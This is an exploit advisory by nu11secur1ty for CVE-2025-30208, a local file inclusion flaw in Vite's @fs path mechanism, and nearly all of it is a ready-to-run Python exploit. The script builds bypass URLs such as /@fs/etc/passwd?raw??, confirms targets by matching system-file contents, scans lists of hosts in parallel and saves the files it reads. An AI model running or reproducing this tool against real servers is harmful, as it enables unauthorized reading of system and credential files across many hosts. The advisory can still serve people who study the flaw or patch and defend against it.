# Titles: CVE-2025-30208 - Vite `@fs` LFI (Local File Inclusion) Vulnerability
# Author: nu11secur1ty
# Date: 01/09/2025
# Vendor: https://vite.dev/
# Software: https://github.com/vitejs/vite
# Reference: https://vite.dev/config/server-options.html#server-fs-allow > https://cwe.mitre.org/data/definitions/22.html > https://owasp.org/www-community/attacks/Path_Traversal
## Description:
This PoC targets a Local File Inclusion (LFI) vulnerability via Vite's @fs/ path mechanism, allowing attackers to read arbitrary files on the server where a vulnerable Vite dev server is exposed. By abusing @fs/ with crafted bypass queries (?raw??, ?import&raw, etc.), attackers can access system files.
STATUS: HIGH-CRITICAL Vulnerability
[+]Exploit:
```
#!/usr/bin/python
# nu11secur1ty
import requests
import argparse
import urllib3
import concurrent.futures
import re
import os
from urllib.parse import urlparse, urlunparse
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Common LFI paths and indicators for verification
LINUX_PATHS = [
("/etc/passwd", "root:/bin/bash"),
("/etc/hosts", "127.0.0.1"),
]
WINDOWS_PATHS = [
("C:/windows/win.ini", "[fonts]"),
("C:/boot.ini", "[boot loader]"),
]
def sanitize_filename(text):
"""Sanitize string to be used as filename."""
safe = re.sub(r'[^\w\-]', '_', text)
return re.sub(r'_+', '_', safe).strip('_')
def log_result(content, url, output_dir):
"""Write exploitation result to a file."""
filename = sanitize_filename(url)
os.makedirs(output_dir, exist_ok=True)
filepath = os.path.join(output_dir, f"{filename}.txt")
with open(filepath, "w", encoding="utf-8") as f:
f.write(f"[SUCCESS] {url}\n")
f.write(content)
print(f"[+] Saved to {filepath} :)")
def fetch_url(url, proxy=None, timeout=5):
"""Fetch a URL with optional proxy."""
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
return requests.get(url, timeout=timeout, verify=False, proxies=proxies, allow_redirects=False)
except requests.RequestException as e:
return e
def normalize_bypass_query(query: str) -> str:
"""Ensure the query string starts with a single '?'."""
query = query.lstrip('?') # remove all leading '?'
return '?' + query
def build_payload_path(fs_path, bypass_query):
"""Construct the /@fs path for LFI."""
fs_path = fs_path.strip()
if not fs_path.startswith("/"):
fs_path = "/" + fs_path
query = normalize_bypass_query(bypass_query)
return f"/@fs{fs_path}{query}"
def build_full_url(base_url, payload, scheme=None):
"""Build full URL properly handling scheme and netloc."""
parsed = urlparse(base_url)
if scheme is None:
scheme = parsed.scheme or 'http'
netloc = parsed.netloc or parsed.path # Handles if base_url is 'localhost:5173' (no scheme)
path = '/' + payload.lstrip('/')
return urlunparse((scheme, netloc, path, '', '', ''))
def verify_vuln(base_url, bypass_query, os_type="linux", proxy=None):
"""Try known OS files to verify if @fs LFI is exploitable."""
print(f"[*] Verifying {base_url} for OS: {os_type}")
candidates = LINUX_PATHS if os_type.lower() == "linux" else WINDOWS_PATHS
for path, indicator in candidates:
payload = build_payload_path(path, bypass_query)
for scheme in ["http", "https"]:
full_url = build_full_url(base_url, payload, scheme)
resp = fetch_url(full_url, proxy)
if isinstance(resp, Exception):
print(f"[!] Request error for {full_url}: {resp}")
continue
print(f"[DEBUG] Checking {full_url} - Status: {resp.status_code}")
snippet = resp.text[:100].replace('\n', ' ') if resp.text else ''
print(f"[DEBUG] Response snippet: {snippet}")
if resp.status_code == 200 and indicator in resp.text:
print(f"[+] Verified @fs LFI on {full_url} (found indicator '{indicator}')")
return True
return False
def exp(base_url, fs_path, bypass_query, os_type="linux", proxy=None, output_dir="results"):
"""Run actual payload exploit."""
payload = build_payload_path(fs_path, bypass_query)
for scheme in ["http", "https"]:
full_url = build_full_url(base_url, payload, scheme)
resp = fetch_url(full_url, proxy)
if isinstance(resp, Exception):
print(f"[!] Request error for {full_url}: {resp}")
continue
if resp.status_code == 200:
print(f"[+] Exploited: {full_url}")
log_result(resp.text, full_url, output_dir)
return full_url
else:
print(f"[FAIL] {full_url} → {resp.status_code}")
return None
def exp_single(base_url, fs_path, bypass_query, os_type="linux", proxy=None, output_dir="results"):
"""Verify then exploit single target."""
if verify_vuln(base_url, bypass_query, os_type, proxy):
print(f"[*] Exploiting {base_url} with {fs_path}")
exp(base_url, fs_path, bypass_query, os_type, proxy, output_dir)
else:
print(f"[-] Not vulnerable: {base_url}")
def exp_batch(file_path, fs_path, bypass_query, os_type="linux", proxy=None, output_dir="results", max_workers=10):
"""Verify and exploit batch targets."""
with open(file_path, "r") as f:
targets = [line.strip() for line in f if line.strip()]
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = {
executor.submit(exp_single, target, fs_path, bypass_query, os_type, proxy, output_dir): target
for target in targets
}
for future in concurrent.futures.as_completed(futures):
_ = future.result()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-30208 PoC for Vite @fs LFI")
parser.add_argument("-f", "--file", help="File with targets (one per line)")
parser.add_argument("-u", "--url", help="Single target (e.g., http://localhost:5173)")
parser.add_argument("-p", "--path", default="/etc/passwd", help="Path to try read (default: /etc/passwd)")
parser.add_argument("-b", "--bypass", default="?raw??", help="Bypass query (?raw??, ?import&raw, etc.)")
parser.add_argument("--proxy", help="Proxy like http://127.0.0.1:8080")
parser.add_argument("-o", "--output", default="results", help="Directory to save result files")
parser.add_argument("-t", "--threads", type=int, default=10, help="Number of concurrent threads (default: 10)")
parser.add_argument("--os", choices=["linux", "windows"], default="linux", help="Target OS for verification/exploitation (default: linux)")
args = parser.parse_args()
if args.url:
exp_single(args.url, args.path, args.bypass, args.os, args.proxy, args.output)
elif args.file:
exp_batch(args.file, args.path, args.bypass, args.os, args.proxy, args.output, args.threads)
else:
parser.print_help()
```
# Reproduce:
[href](https://www.youtube.com/watch?v=HXPYMImbEhg)
# Time spent:
01:25:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>